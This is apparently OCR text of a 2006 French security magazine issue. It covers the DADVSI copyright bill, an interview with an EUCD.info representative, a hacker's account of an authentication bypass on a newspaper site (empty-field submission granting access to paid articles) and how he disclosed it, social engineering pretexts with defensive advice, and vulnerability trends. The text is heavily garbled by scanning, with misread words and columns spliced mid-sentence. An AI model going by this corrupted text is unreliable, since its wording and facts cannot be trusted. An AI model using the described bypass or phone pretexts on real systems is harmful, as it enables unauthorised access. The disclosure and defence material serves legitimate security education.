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« L'algorithme,
calibré a partir
d'une base de
visages neutres de
jeunes filles, a
determine que Mona
Lisa etait heureuse

a Bi% et

écoeurée a 9%. »
slashdot
(16/12/05)

sSans caricature

n parle beaucoup de liberté d'expression en ce moment. En général, 'est mouvais signe cor ce type de [iberté fon-
ndnmmlul est fuit pour s'exercer et non pour se discuter. Entre les choses dont on ne peut pas rire ovec fout le

monde, les informations qu'il fout gurder pour soi et les opinions qui sont mouvaises pour la santé dons cerlains
pays, on voit se dégoger du brovhoha des communications mondiales certains éléments dont |'impact est impressionnant.
(C'est I'accasion de reconsidérer lo vraie puissance des mots ef des images.
Qui réglemente ? Seuls les états ont en principe les moyens, et peut-atre lo légitimité de le foire. C'est ainsi que par exem-
ple en France bo loi restreint en un sens lu liberté d'expression, punissont 'incitation @ lo haine rociale, ou meurtre, ou
i lo cansommation de drogues. En Chine, c'est plutit 'opologie de lo démocratie qui peut vous envoyer en prison. (ette
disproportion est d'outant plus dérangeante qu'il y @ plus de démacrates chinais que de nazis franais.
Or nous avens le droit de ne pas étre d'accord avec la loi. E1 il fout parfois lo transgresser pour le dire clairement. lci
inferviennent par définition des problemes de sécurité informatique - en particulier lo confidentialité des échanges pri-
vés, et 'ononymat. Sans parti pris, la technologie - on pourrait méme dire les mathématiques - offre depuis des années
des moyens nouveaux de s'exprimer, résistant o lo censure, griice @ lo cryptogrophie ou @ lo décenirolisation
(invisiblog.com, tor.eff.nel, freenet stnet, i2p.net). Il fout s'y préparer : si les canoux troditionnels deviennent trop
wontralés, ces mayens imporables seront d'avontoge ufilisés.
Mais c'est dans les pays dits démocrofiques qu'est apparu I'expression « politiguement correct », qui sous entend qu'il
puisse exister des propos incorredts, plus difficiles a foire entendre. C'est cette fois I'oeuvre des individus, guidés por des
croyances politiques, idéologiques, religieuses ou juridiques, qui suscitent sur eux ef chez les nutres un frein contre-nature :
I'auto-censure. Un bon exemple d'actualité est le débat sur le peer-to-peer. Sous prétexte que quelques « arfistes » se sen-
tent pillés, peu de gens semblent mettre en avont I'extroordinaire progrés que 'échange de fichiers constitue - un orcés
@ la culture pour tous bien plus efficoce que les bibliothéques publiques.
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el avant les séances d'ur-
Pgence au parlement, le 20
decembre 2005, I'UFC-
choisir avec

Que publiait

I'Universicé Paris IX une étude
realisée auprés de 4000 person-
nes et qui montre par les chif-
fres que les plus gros teléchar-
geurs sont également les plus
gros acheteurs de CD et DVD.
a n'empéche que les éditeurs,

Retour sur les Fails

Nous vous expliquions, dans notre dernier numéro, les réper-

—

mr-——=

cutions graves que peut avoir le projet de loi DADVSI sur les
logiciels libres, le droit a la copie privée, et les libertés du
citoyen en géenéral. Malgré une premiére victoire en décembre
dernier, avec le retrait du projet de I'ordre du jour parlemen-
taire, c'est lors des prochains mois que tout risque de se jouer.

suivis par une partie de leurs
artistes, refusent encore de
considérer la licence globale
(une sorte de redevance de

Février 1993 : (Erars-Unis) Clinton charge un groupe de tra-
vail de reflechir a la pretection juridique de la proprieté intel-

lectuelle américaine.

Septembre 1995 : Ce groupe de travail publie une propo-
sition de loi sur le droit d'auteur (le livre blanc), rapidement
mise a l'ordre du jour parlementaire.

Janvier 1996 : Face a la mobilisation, le projet de loi est retiré.

Décembre 1994

: (Geneve) Sous l'influence américaine, les

dispositions les plus polémigues du projet de lei sont intégrées
dans deux traites internationaux par 'Organisation mondiale de la

propriéte intellectuelle {OMPI).

Le texte final reste trés imprécis, malgré les interventions de
différents pays. Mais les Etats-Unis ont maintenant une excuse
pour légiférer dans ce sens, malgré I'opinion public.

Octobre 1998 : (Etats-Unis) Le Digital Millenium Copyright
Act (DMCA), adaptation américaine des traités de 'OMPI, est

signé par le président Clinten.

22 Mai 2001 : (Evrope) La directive 2001/29CE (EUCD),
equivalent européen du DMCA, est publiée au Journal Officiel

de 'Union Européenne.

Novembre 2003 : (France) Dépér du projet de loi DADVSI,
transposition de I'EUCD, par le ministre de la Culture.

12 juillet 2005 :

(Europe) Avertissement de la Commission

Européenne envers les derniers Etats membres n'ayant pas
transpose la directive EUCD, dont la France.

Septembre 2005 :
projet de loi.
Decembre 2005 :

(France) Malgre l'ent

(France) L'urgence est déclarée sur le

ment et des groupes de pression, le projet de loi ne passe pas
en urgence. La réflexion est ajournée.

Javier 2006

: (France) La Commission Européenne menace la

France de sanctions économiques pour son retard. Le 26, le projet
est pourtant retire de l'ordre du jour parlementaire,

Février 2006

: (France) La ligue ODEEI dénonce les amende-

ments gouvernementaux qui se preparent dans lombre. Il semble

que le parlement devrait s’y remettre dés mars

quelgues eurocs, pergu sur les
abennements a Interner, desti-
née i libéraliser I'échange de
fichiers) comme une direction
possible. C'est pourtant la seule
piste avancee jusqui présent
qui ait une chance de contenter
tout le monde, et en particulier
la majorité du public. Au lieu de
¢, les lobyistes insistent sur les
mesures techniques de protec-
tion des oceuvres, qui ne servent
pas a grand chose et qui sont
dangereuses pour nos libertés.

MN'oubliez pas que ce débat est
démocratique. C'est le dernier
moment pour faire entendre
votre opinion de citoyen !

Linitiative BUCDinfo, créée fin
2002 par ka FSF France, est ['un des
principaux défenseurs des droits

| du citoyen a participer au debat sur

ce projec de loi

Christaphe

rain du gouvernc-

Espern, 'un de ses représentants,
répond a nos questions.

THMag Est-ce difficile
d'étre pris, en tant que repre-
sentant d'EUCD.info et de la
F5F. pour un interlocuteur cré-

dible auprés des politiques ?

Christophe Espern : Tout
dépend desquels. Mous avens
de trées bons contacts avec
des deputés et des sénateurs
de tous horizons politiques.
Mos rapports avec le minis-
tére de la Culture sont plus
distendus du fait que nous
sommes a I'evidence - depuis
le début et jusqu'a mainte-
nant - en deésaccord sur plu-
sieurs points, notamment sur
I'étendue de la protection
juridique a acorder aux DRM.
La premiere bataille du
DADVSI a aussi laissé quel-
ques traces mais rien d'irré-
versible selon moi. Quant a
Matignon, nous avons rencon-
tré des conseillers du
Premier Ministre la veille du
debat parlementaire, et nous
avons un nouveau rendez-
vous cette semaine. Je dirai,
avec humour, que l'on ne se

vante pas forcément de nous
avoir rencontré mais que l'on
nous rencontre quand méme.
MNotre expertise est reconnue
sur le dossier, la FSF est un
interlocuteur incontournable




en matiere de logiciel libre, et
nous avons plusieurs soutiens
politiques de poids qui nous
ouvrent des portes.

THMag : Vous avez été invi-
tés i participer notamment a
une table ronde a 'Assemblée,
début janvier. Ce genre de ren-
contre vous permet-il de vous
faire entendre efficacement ?
C.E. : Quand la table ronde
est eéquilibrée et que 'organi-
sateur du débat sait tenir ce
dernier, oui. Ce fut le cas lors
du debat organisé par
Christine Boutin (UMP). Ceci
étant, 'essentiel de notre tra-
vail consiste 3 rencontrer les
elus et leurs collaborateurs a
plusieurs reprises pour leur
expliquer en detmil le dossier
et érudier avec eux les amelio-
rations possibles. Clest un
sujet complexe et transverse. ||
demande du temps pour bien
atre apprehender

et il nexiste pas de solution
simple. Mous avons passe plu-
sieurs heures avec certains
assistants parlementaires avant
gqu'ils maitrisent bien le dos-
sier.

THMag : Considérez-vous
I'initiative EUCDLinfo comme un
lebby ! Ou plus précisément :

cherchez-vous a étre partial
dans votre maniére de com-
muniguer pour contrebalan-
cer la desinformation prodi-
guée par vos adversaires !

C.E. : MNous preferons le

terme “advocacy group” que
nous n'arrivons pas a traduire
{avis aux amateurs ;-}. Un
lobby défend des interéts par-
ticuliers, nous nous défendons
une vision particuliére de I'in-
terét genéral. On ne cherche
pas a changer la loi pour pro-
téger des parts de marches ou
créer des modeles economi-
ques pour nos patrons, nos
actionnaires ou nos clients.
On essale d'informer le public
et les politiques sur les enjeux
sociaux, economiques et stra-
tégiques d'un texte de loi que
nous avons étudié en profon-
deur. Motre action s'appuie de
plus sur le benévolat et la soli-
darite, Depuis environ un an, je
payé par la F5E
Auparavant jai travaille deux
ans en benevecle. Tout mon

5Uis

argent personnel y est passé.
Combien de lobbyistes I'aurait
fait ?

Sur la parualite, il est clair que
nous ne mentans pas et cher-
chons a &wre le plus precis
possible. Par contre, nous cari-
caturons parfois les positions
de parties pour
demontrer absurdite.

tierces
leur
caricaturé
les societes de gestion caollec-

Mous avons ainsi

tive (SACEM, SACD, SCPP) en
rapetous. Le but étaic de mon-
trer que si le telechargement
est demain punie d'une
contravention au lieu d'étre

assimilé a une copie privee

touchent |a
redevance associee seront des
receleurs.

En tout cas nous, nous ne tra-
figuons pas de chiffres, d'étu-
des écanamiques et juridiques,
et laissons les juges interpre-
ter le droit. MNous
attendu trois ans de jurispru-
dence constante avant d'énon-
cer sans detour que le tele-
chargement sans mise a dispo-
sition concommitante est
"parfaitement légal”. Vivendi et
la SACEM claironnent le
contraire depuis trois ans, Elles
'ont méme fait inscrire il y a
un an dans un guide destiné a
des colléegiens et realise en col-
laboration avec les pouvoirs
publics. A ce moment 1, ces
societés étaient parties civiles
dans un procés en appel sur le
TUjeL

alors ceux qui

Avons

Quelques jours avant limpres-
sion du guide, linternaute qu'el-
les poursuivaient - gqui avait
telecharge plusieurs centaines
d'ceuvres sans autorisation - a
été relaxé. L'Erat a quand méme
fait distribuer le guide.

THMag : En plus de signer
votre petition (prés de 150000
signataires pour lins@ant), que
peuvent faire concretement

nos lecteurs pour defendre
leur libertes !

C.E. : Ecrire, puis téléphoner
i leur député ainsi gqu'aux pre-
sidents de groupe parlemen-
taire. Faire de méme avec I'Ely-

sée, Matignon et le ministere
de la Culture. Les adresses de
contact sont disponibles sur le
site EUCD.INFO accompagne
d'un petit argumentaire. Il ¥ a
aussi une page Agir qui
contient des suggestions d'ac-
tions (happening, boycott, ...).
THMag : Que va-t-il se pas-
Ser en mars !

C.E. : Difficile 4 dire. Les pres-
sions exercées actuellement
sur le gouvernement et les
elus sont enormes. Lindustrie
du disque et du film, aidé par
France Télecom et Thomson
Multimedia, mobilise toute son
énergie contre la licence glo-
bale, et pour la modéle dit de
"la location", donc pour les
DRM. De nombreux elus qui
avaient adkéré 3 lidéa de la
licence globale semblent avoir
abandonné cette piste mais ne
SONt pas pour autant convain-
cus par les solutions propo-
sées par le ministére. |l faur
dire que ce dernier reste pour
Iinstant dans une logique de
tout-controlé et de tout-
répressif. || y des lignes de frac-
tures évidentes a lintérieur
méme des partis. La bataille en
coulisses, dans I'hemicycle et

sur internet pourrait éure épi-

que. Reste i wvoir si le droic
d'auteur et la démocratie en
sortiront grandis.

y
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Uart de communiquer

Les failles pullulent sur le web. Certaines plus ou moins dan-

gereuses. Pour que le mot hacker reprenne , au yeux du grand

non, ¢a cest les envahisseurs.
Je recommence. Tout a com-
mencé une nuit pendant
lagquelle jallais comme chaque
jour sur un site dacrualicé
Lidee m'est venue d'aller lire
le code source.

Mon corps fatigué en cette
heure tardive s'est vu injecté
par lui méme une dose d'adré-
naline, associé a quelques litres
de cafe, j'érais prét Tel un
super héros du web ['allais
secourir ces pauvres webmas-
ters ignares

1d="ident ">

<form method="post"
www.lavoixdunord. f
identification2.php” name="connexion"s

<div

en sécuricé | je

1
I e B =]
LAyl e

action="http://
r/vdn/mon_ compte/

dois avoir des restes de « je <trs
ne sais pas quoi », je délire ...). <td width="185" rowspan="2"»
<a href="http://www. lavoixdunord.fx/...">
La Faille <img sro="/vn/img/shim.gif® .../></ax</td>
Deés l'arrivéee sur le site, on <td=<input type="rext" npname="login"
nous demande pour avoir gize="11" wvalue="Ildentifiantc"
acces aux différents articles, class="inputhaut" /></td>
suivant notre région et l'abon- <kd -.a.-ir_il;':'_—."lf:.' Enbspr</tds</trs
nement pris, un login et un <tr>
mot de passe. <td><input type="password-"
name="password" size="11"
En recherchant dans le code class="inputhaut"
source de la page ce code : value="password" /s></td>
<td width="16">
<input name="bok" type="image"
sre="/vdn/img/bouton/b_ok.gif"
width="16" height="13"
border="0" /></td>
A i
</tablex
</ form>
< /Aiv>
On retrouve dans ce code Jedite le cookie regu et

l'adresse de wvérification du

login et du mot de passe.

On voit sur la deuxiéme cap-
twre la page i laquelle cela
noUs mene.

Et surprise, une des premiére
choses restées fonctionne :

remarque quun numeéro d'uti-
lisateur  m'est  attribué.
Maintenant, si je clique dans «
mon compte » et que je valide
sans les

rien entrer dans

public, ses lettres de noblesses, il faut faire preuve de trans-
parence et signaler aux webmasters celles que I'on trouve.
Ma déontologie, et j'espére la votre, est d'aider ces personnes
a securiser leur site , leur programme, leur réseau.

champs, jai accés i la configu-
ration de ce compte et j'ai bien
sur acces a tous les articles de
toutes les regions.

Le contact

La suite logique de cette
découverte etait d'en avertir le
webmaster afin qu'il corrige au
plus vite le probléme. Si elle
était découverte par une per-
sonne mal intentonnée, elle
pourrait etre diffusée sur le
net et donc utilisée
depends du journal (perte de
40 euros par personne et par
mois), d'une part, et surtout
pourrait servir a obtenir les
informations persennelles des

AL

utilisateurs inscrits, d'autre
part.

La suite de cette article est la
retranscription des différents
mails eéchanges entre les res-
ponsables du

tite oL moi

meme, a titre d'exemple.

Premier mail de contact
(adresse trouvée sur le

site) :
Bonjour,
je me permets de vous envoyer
ce mail pour vous informer
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Ascbarhas BANTE

qu'une faille dans votre site web est

précente et permet 4 nmporte
quelle personne d avoir un full accés
( toutes regans et tous articles)
CI’_:'F.‘:_I_'.‘I:,'_I'_'I i . &R retour ‘IE'
polrrradls  monirer 1a I":E--I.II'UL'.I':
pour utiliser cette faille et donc le
moyen de la corriger ceci gratui-
ferment et sans contre bartie.
MNotre but est de rechercher les
failles web et de prévenir les wic
times afin que quelgu'un de mal
intentionné ne puisse nuire @
votre srie,

Bien cordialernent

Fasm

Mail de retour :

Bclnj'{h_l.r,

Mous sommes bien sir ouverts @
toute information permetiom
d' améliorer la sécuriteé de nos
SItes, aussi e vous propose ae

Découvrez le
Conseil Avanl-Projet

* - g - E -y Eh (P =t v i om0 Dt L L )

Vivrelec
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. s eDFr

NI

Exbawn i [imutn o 1680 o Lirwcl 17 ey

= Héplial 2007 : le bilan dans la region

T, ow plan dis meclerniation dw P
mpos s F000 p soinsessnl poas obp
Tavess A d o [l e
e sl oo o e ek P oo
B &1 e S TeY G AppEEThire do

faire suivre les détails techniques
& lo personne suivante @ M. G,
GEdlaveixdunord fr

Mr. G est responsable de ['en-
semble des applicaotions web de
La Voix du Nord et pourra sans
probléme répondre & ['ensemble
Je vos qQuestons.

Bonne journée

Cordialement,

Le service Multimédia

Mail de contact
au webmaster:
Bonsoir Maonsieur.

r-E' VOLUIS Bmaore Ce il SUITE O Un

retouwr de il e
multimedia(@lavoixdunord.fr.

[l existe une foile web dans
votre site de la voix du nord qui
permet d'occéder 0 tous les arti

clez de toutes les FEFIONS.

Attention : ne cherchez pas des failles @ tout prix,
celo peut vous faire prendre pour un intrus véritoble.

Il s'agit d'une faille XS5 AaR-per-

manente, En effer il est possibie, |
par injection dans l'adresse web |

d'obtenir un accés full

|8 prends ce premier contact
avec vous pour vous informer de
cette faille

Confirmez moi ko bonne recep-
tion de ce mai, en retour e vous
détaillerais o faille

Bien cordialement,
Fasm

Il ne s'agit justement pas de
K55 ; voyons la réaction.

Mail de retour du web-

master :

Bonjour,

Mes réponses de vendredi soir et

III”II'JII me 5anl revonues aved une

ErMmeL...

|'ai bien recu votre premier mes-

sage

Aprés avoir jeté un coup d'oeil

dans le code développé par un

de nos prestataires, je Crois com-

prendre de quoi il s'agit ...

Lin exemple pourrait etre ced :
i

i 1=

N'est-ce pas ?

Vs détails technigques seront evi-

demment les bienvenus.

Bien cordialement

LAVOLX DU NORD

NOTE :

5i vous avez bien observé mes
mails, jusqu'a présent, je n'ai

pas divulgue la faille. Mais en
retour de mail, dés le premier,
le webmaster me montre une
fagon d'obtenir des articles qui
normalement sont payants. 5i
cela avait éré une technigue
volontaire de social enginee-
ring, elle aurait marche : sans
prendre de renseignement sur
la personne (mai) et sans prise
réelle de confiance (des le pre-
mier mail), le webmaster
devoile des informations sur
les failles de son site.

Conclusion

Jai essayé de vous montrer que
fon peut assouvir sa passion, &
securite informatique, en aidant la
societe. Mais il faut étre pris au
sérieux par b personne que vous
contactez, bien faire comprendre
que vous etes la pour laider et
non pour la provoguer ou lui
nuire.

Clest en ayant une approche sin-
cere, polie et humble que le weab-
master va vous faire confiance et
accepter votre aide.
L'apprentissage du social enginee-
ring est aussi utile si I'on veut le
bon contact avec une personne.
Restez white.

-
elden

Bon je vais aller me refaire du
café , jai encore du boulot, je
crois que je viens de trouver

une autre faille.
Greetz a SnAkE, Code)
et ReZoR
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Comment contrer I

i L
Point par point
i Les hackers et les concurrents des entreprises font des ten-
tatives d'intrusions humaines sur les réseaux tous les jours.

E qui peut etre surpre-

nant. d'aprés les experts

en sécurité et les analys-
tes des entreprises, est que tous
les hackers ne sont pas installes
devant leur ordinateur a coder
des exploits, tenter des intru-
sioNs ou A craguer des mors de
passes. Certaines fois, tout ce
qu'ils ent a faire est de decro-
cher le téléphone et de parler.
Ce nest pas nouveau (Mitnick
n'était pas méme un précur-
seur), mais le développement
des télécommunications,
notamment. rend le probleme
plus serieux chaque année.

Exemple fermme
appelle une compagnie et dit
gu'elle a cubliée sant mot de

une

passe.Avec un ton panique, elle
affirme que si elle ne récupére
pas ses fichiers maintenant
pour son patron, elle va se
faire virer, car ils se trouvent,
elle et son patron, en réunion
a l'extérieur. Le technicien au
bout du fil, tres embetee pour
elle, lui remet un nouveau mot
de pasze et lui communique au
telephone.

D'apres une étude américaine, 90% des 503 compagnies
sondées ont reportées au moins une tentative d'intrusion

dans leur systeme.

« Il existe toujours un moyen
technique de « casser » un
systeme afin de s'y introduire,
mais |a fagon la plus aisée est
d'utiliser |'étre humain. Les
entreprises apprennent a leurs
employees a2 étre aimables et
rendent service, mais elles
leurs apprennent rarement a
prendre part 3 la sécurité de
I'entreprise, » nous expliquait
M. Garcia Francois, directeur
d'entreprise au Luxembourg.
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On vous a peut-étre déja piége
5aNS QUE VOUS he vous en
soyez rendu compte.Vous pou-
vez avoir toutes les protec-
tions logiciels, firewall, VPN,
monitoring systémes : vous
n'étes jamais a l'abri d'un
employe, bienveillant, voulant
aider son entreprise et qui,
pour des raisons quelconques,
diffuse des mots de passes, des
informations par mail ou tele-
phone.

Jouer avec la confiance des
gens est la base du social engi-
neering. M'avez vous jamais
ocuvert la porte d'un immeu-
ble, de votre immeuble, de
l'entreprise 4 quelqu'un habillé
en livreur par exemple. arri-
vant les bras chargés ! Clétait
peut étre un hacker ..,

Garder ses distances

Pour résoudre le probléme, il
faut continuellement sensibiliser
et entrainer son personnel 3 la

securité en general et au social

prise, par exemple, est res-
pecte (physiguement : bureau
large, vitre...), il sera trés diffi-
cile pour le hacker de regarder
sur I'écran de I'hotesse, d'es-
sayer de voir les lettres tapees
au clavier, de lire les papiers se
trouvant sur le bureau.

Il faut aussi éviter qu'un visi-
teur puisse sans badge et donc
sans vérifications, se promener
dans les couloirs d'une entre-
prise. Un intru pourrait lire le
nom des employés sur les por-
tes avec leur fonction pour
ensuite faire des recherches
plus approfendies permettant
de se faire passer pour eux au
telephone...

Pen-tests de SE

Rhodes et son équipe font des
tests en social engineering, et
on entre autre effectue 10
tests de pénétration en 2004,
avec 100 % de réussite
L'extrait qui suit est tirée d'un
interview donne au Times.

Le hacker (ou la hacker, s'il ne
s'agissait pas d'une complice) a
maintenant tout le temps de
s introduire dans le reseau et
d'installer des backdoor pour
les utilisations futures.

Jouer avec la confiance
es employés

Jai déja ecrit un article sur ce
sujet dans un manuel qui décri-
vait les tests que j'avais effec-
tues dans diverses entreprises

engineering en particulier.

Garder ses distances est un
premier moyen pour parvenir
a reduire le risque. En effer si
une certaine distance entre le
visiteur et l'accueil de l'entre-

Mous en reproduisons un
extrait parce qu'll donne une
bonne idée de la situation aux
Etats-Unis - qui ne doit pas
beaucoup différer dans le reste
du monde, du mains accidental,



Times : Les compagnies
américaines sont elles perfor-
mantes quand a la protection
de leur informations et de leur
reseau informatique !
Rhodes : Certaines entrepri-
ses sont vraiment performantes,
telles que les banques, les entre-
prises financieres, Les autres non.
L'un des mythes américains quil
faut casser est que seul le gouver-
nement ne sait pas faire de secu-
rité. D'aprés nos tests , c'est exac-
tement le contraire ; actuellement,
il m'y a qu'eux qui sache faire.
Times : Quelles sont les
choses que les entreprises
font bien ?

Rhodes : Elles savent placer
et configurer les firewalls. Elles
mettent des routeurs, filtrent
les paquets et les adresses IP.
Elles travaillent pour que les
employés soient plus attentifs
a la sécurité. Elles installent
des meilleurs systemes d'au-
thentification de login. Vous
allez dans certaines entrepri-
ses et vous voyez tous cela en
place, vous allez dans d'autres
et vous ne voyez rien en place.
Times : Quelle est la plus
grosse menace en terme de
sécurité pour les entreprises,
avjourd'hui?

article produit ou comment
vous allez encherir sur un
contrat. Me limitez pas cela a une
régicn, toutes les entreprises de
toute |a planéte sont visées. Que
wous soyez dans wvotre entre-
prise, en affaire a lextérieur, dans
un congres, dans un salon d'ex-
position, il y aura toujours un
endroit, un moment ou
quelqu'un essaiera de vous souti-
rer des informations.

Times : Faut il étre vraiment
attentif a tout !

Rhodes : Un de ces jours. qui
peut étre trés proche, votre
PDA, votre ordinateur porta-
ble, votre télephone portable
peuvent étre un danger. Cela
peut aussi étre une vidéo, un
enregistrement vocal. Quand
vous déposez un de ces objets
quelque part, 3 ce moment la, il
devient un danger. Si en plus
YOUS avez mis numerigquement
vos informations personnelles,
votre plan d'entreprise ou tout
autre chose a la méme place,
quand gquelgu'un y accedera
physiquement ou virtuellement,
alors la vous aurez tout perdu.
Linformation est bien au centre
des préoccupation des entre-
prises en matiere de sécurité
Mais méme si la technologie

Comment contrer le social
engineering ?

Les experts en sécurité de dif-
férents gouvernements et des
entreprises privées proposent
quelques suggestions simples a
appliquer et efficaces pour
protéger les entreprises
contre ces attagues

- déchigueter toutes listes
téléphonigues, emails ou tout
autre document important
avant de les jeter a [a poubelle,
* donner des directives de
périmetre de securité au
personnel tels que réception-
niste, standardiste,

* mettre des procedures en
place au cas ou quelqu'un
appelle pour des problémes de
mat de passe, de login ou tout
autre mode d'identification,

* navoir qu'une personne
responsable pour changer
les mots de passe, login et
autres identifiant,
+ effectuer des tests de
engineering de
temps 4 autre sur votre per-

social

sonnel pour les tester, les ren-
dre plus vigilants et modifier
les comportement,

= entrainer le personnel et
montrer que chacun a

sensibles des ordinateurs de
cureau, ordinateur portable et
PDA,

v installer des cameéras pour
savoir qui entre et sort de 'en-
treprise,

» utilisez si possible des bad-
ges pour limiter l'acces a l'en-
treprise,

+ me jamais faire entrer
quelqu'un dans 'entreprise
si I'en est pas certain de son
identite,

* ne pas autoriser les employes
a envoyer des mails ou des
messages vocaux indiquant
qu'ils sont absents ou en
vacance,

Conclusion :

Aprés avoir lu cela, on pourrait
se dire qu'il n'y a pas de quoi
s'alarmer, quil ne faut étre
paranociaque, que cela n'arrive
qu'aux autres ..,

Mais avez vous vraiment refle-
chi aux risques encourus par la
divulgation  d'informations
involontaires ? Etes vous sir
que ¢a ne vous est pas deja
arrive ! Votre entreprise est-
elle vraiment sensible au social
engineering ?

Je suis sir que non. Yous vou-

lez vous en rendre compte par

Rhodes ! Lespicnnage indus-
triel : quelqu'un est toujours en
train d'essayer de vous voler
une idée. C'est le jeu des idées.
Quelgu'un wveut vous voler
votre brevet, votre premier

commence 3 résoudre efficace-
ment les problémes de securite
technigues, les etres humais sont
tout aussi capables de manipu-
ler de linformation, et pas for-
cément de maniere fiable.

un role important dans la
securité de l'entreprise,

« danner une formation a
tout nouveau personnel dans
I'entreprise,

« chiffrer les informations

vous meme, faites le test ou
contactez nous, nous le ferons
pouUr wous...
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et article se propose de
cfair'e une synthése de

I'evolution de la sécurité
depuis 2000, et surtout des
principales différences dans les
strategies d'attaque maintenant
adoptées, afin de donner aux
responsables techniques une
Introduction aux processus
organisationnels qu'il est possi-
ble de mertre en place pour
mieux ce défendre aujourd'hui,
MNous allons donc tacher d'éere
le plus objectif possible quant 3
la situation en terme de sécu.
rité des systémes d'informa-
LONs souvent présents en
entreprise, et de détailler ce qui
doit avant tout étre preconisé
quand on parle de sécuricé
informatigue. Je me concentre-
rais a ce titre sur ce qui peut
représenter un danger réelle
pour la confidentialité des
informations internes, qui ent
une valeur financiere reelle et
connue (IFbase de donnée client _),

Jexclus donc de cette article
tout « root » (prise de
contréle) d'un systéme qui
finalement n'aura au pire qu'un
impact pour limage (souvent
difficile & chiffrer).

Yue synthétique

Quels sont les enjeux, les risques et surtout les solutions en
matiére de sécurité en entreprise, a I'heure actuelle ? Si I'on
consideére |'évolution de ces probléematiques au cours des der-
niéres années, éclairé par des observations faites sur le ter-
rain, on comprend qu'elles ne sont plus essentiellement tech-
hiques. Les techniques d'intrusion changent, mais les moyens
de se défendre et de gerer sa sécurité évoluent tout autant.

On se saurait douter que |e
nombre d'attaques augmente
encore d'année en année, et
que le nombre de vulnérabili-
tés est toujours de plus en
plus  impressionnant. On
entend plus que jamajs parle
de linsécurite a tout va, mais
quand est il concrétement.
Peut on affirmer que la sécu-
rité des réseaux n'a jamais
&té aussi menacée qu'au-
jourd'hui !

Ce qui est vrai, c'est que ['in-
informatique
devient toujours de plus en
plus un élément critique de
I'entreprise (stockage des
informations, autematisation

frastructure

des processus de travail )
Mais cela implique-t-il que ces
éléments saient plus mena-

2000-2005

Vear 2000 2001
2437

Vulnerabilities
Source : www.cerforg

1,090

€és, ou tout simplement plus
vulnerables que par le passe !
Qu au contraire peut on
aujourdhui prétendre i une
sécurité quasi absolue pour
CEs Systémes ?

Encore une fols, il reste impor-
tant de rappeler que ce n'est
pas simplement le nombre de
vulnérabilités potentielles pré-
SeNtes sur un systéme précis -
Ou au contraire, des éléements
de sécurité dispersés - qui
vont a eux seuls permettre de
définir si l'intégrité glabale du
systéme, et plus particuliére-
ment des informations confi-
dentielles, est en péril,

Un point sur I'évelution
des vulnérahilités

Le full-disclosure, bien que
souvent critique et qui
consiste a dévoiler publique-
ment les vulnérabilités ainsi
que les moyens de les exploi-
ter. a toutefois permis de
pousser les editeurs logiciels 3

2002
4129

2004
3,780

2003
3,784

une plus grande réactivité
pour fournir des correctifs
pour securiser ces mémes fail-
les de sécurité. Si on regarde a
ce titre l'évolution des vulné-
rabilités annoncées, at bien

que celle-ci soit croissante -

® Pour parler software en tant
que tel, et principalement des
applicatifs de type service (ssh,
ftp, samba ..}, le nombre de
failles critiques découvertes
ces derniéres années va en faj-
blissant largement. en ce qui
concerne du moins les applica-
tifs les plus connus et les plus
utilisees. La raison en est sim-
Ple, ces réferences ont éré
auditées 3 maintes et maintes
reprises, le nombre de vulné-
rabilités encore i découvrir
est moindre, et surtout, les fail-
les restantes sont de plus en
plus difficiles 3 détecter,

® En ce qui concerne les systé-
mes d'exploitation, il est bien
évidant que ceux fournis en
open source, (Linux, BSD princi-
palement) sont examinés
en continue par des
volontaires indépendants.
SRLIN A lnverse, les systémes

propriétaires, principalement
¥Windows (qui bien que faisant
des efforts, reste closed
source dans le fond) sont plus
delicats i analyser, surtout
parce que cela demande des
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competences plus spécialisées et
difficiles 4 acquérir. Cela réduit le
nombre dintervenants poten-
tiels dans la communauteé des

passionnés de la sécurite. Pour |

résumer, si le nombre de filles
critigues de Vindows en tant
que systeme d'exploitation dimi-
nue, il reste encore des vulnera-
bilicés “basiques™ (mais plus diffi-
ciles 3 detecter que dans du
open source), On peut d'ailleurs
remarquer que Solaris, le sys-
teme UMDX de Sun, n'echappe
pas non plus a cette régle. |l suf-
fit de voir le nombre de vulnéra-
bilités critiques et pourtant sim-
ples, decouvertes depuis que ce
systeme est distribué en open
source. |l y est donc presque cer-
tain gue les failles critiques de ce
type vont rapidement disparaitre
dans ce systeme.

® De plus, on constate l'imple-
mentation de plus en plus fre-
quente de protection supple-
mentaire au niveau des syste-
mes d'exploitation, desting a
lutter directement contre cer-
tains type de wulnerabilites
oubliés par les developpeurs
{applicatif). Par exemple sous
Windows, on a le DEP
(Windows XP 5PZ, 2003), qui
va de base protéger tous les

plus etendus (notamment FAX,
intégre dans GRSEC, qui est
maintenu depuis des annees).
Cependant, toutes ces protec-
tions sont encore aujourd hui
contournables dans des condi-
tions realistes. Elle limitent
cependant les possibilites d'in-
trusion. ou du moins les retar-
dent. SUrtout en Cé qui concerme
les atraques a distance.

Mais si pourtant toujours plus
de failles apparaissent, alors
que le nombre de failles criti-
quent dans les systémes d'ex-
pleitation se réduit, quelles
sont ces nouvelles faiblesse ?

® Dans un premier temps, le
développement dinternet a
toujours contribuer 3 souder
de nouvelles equipes de deve-
loppeur qui travaillent pour la
plupart sur de nouveaux appli-
catifs. Dans le méme temps, les
editeurs de software pullulent,
pour proposer toujours plus
de nouveaux applicatifs. || peut
souvent sagir de fork, ou de
redéveloppement
d'utilicaires software et servi-
ces applicatifs existants. On ne
compte plus le nombre de ser-
veur ssh, ftp, http ... proposeés.

complet

contenir des failles basigues.
Cela, accompagne du nombre
croissant de passionnes et de
professionnels de la sécurité
qui examinent de pres ces pro-
grammes, permet d'expliquer
aisement qu'un plus grand
nombre de wvulnérabilices
soient decouverts; mais cela
inclut l'ensemble de tous ces
programmes qui ne sont pas
encore des “références” ni
couramment utilisés.

® De plus, le nombre de failles
diminuant sur les services
applicatifs les plus connus,
beaucoup de hackers se sont
alors tournes vers les applica-
tifs annexes, et notamment les
softwares de type client (navi-
gateur web, client mail, ...} pour
lesquels le nombre de vulnéra-
bilivés découvertes ces dernie-
res annees a Connues une
Croasance 'FIJIE'..IT'.-]II".E. Nl'_'lr'l PEE
qu'elles n'eaient pas presentes
avant : simplement plus de per-
sonnes s'intéressent i eux
maintenant. || ne faut pas non
plus oublier toutes ces fonc-
tionnalives et modules supplé-
mentaires implementés (Ex:
ActivexX, OLE pour |IE et

Microsoft outlook, modules

donc diminue, notamment sur
les systemes d'exploitation et les
services les plus connus (qui
representent un danger imme-
diat pour l'intégrité des informa-
tions), cela veut-l dire que les
reseaux informatiques ne sont
plus en securite ! La question est
plutit de savoir si toutes ces
nouvelles vulneérabilites decou-
VEries
